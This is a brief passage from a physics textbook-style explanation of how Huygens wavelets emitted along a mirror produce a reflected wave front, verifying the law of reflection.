angle, verifying the law of reflection. As the wave front strikes the mirror, wavelets are first emitted from the left part of the mirror and then from the right. The wavelets closer to the left have had time to travel farther, producing a wave front traveling in the direction shown.
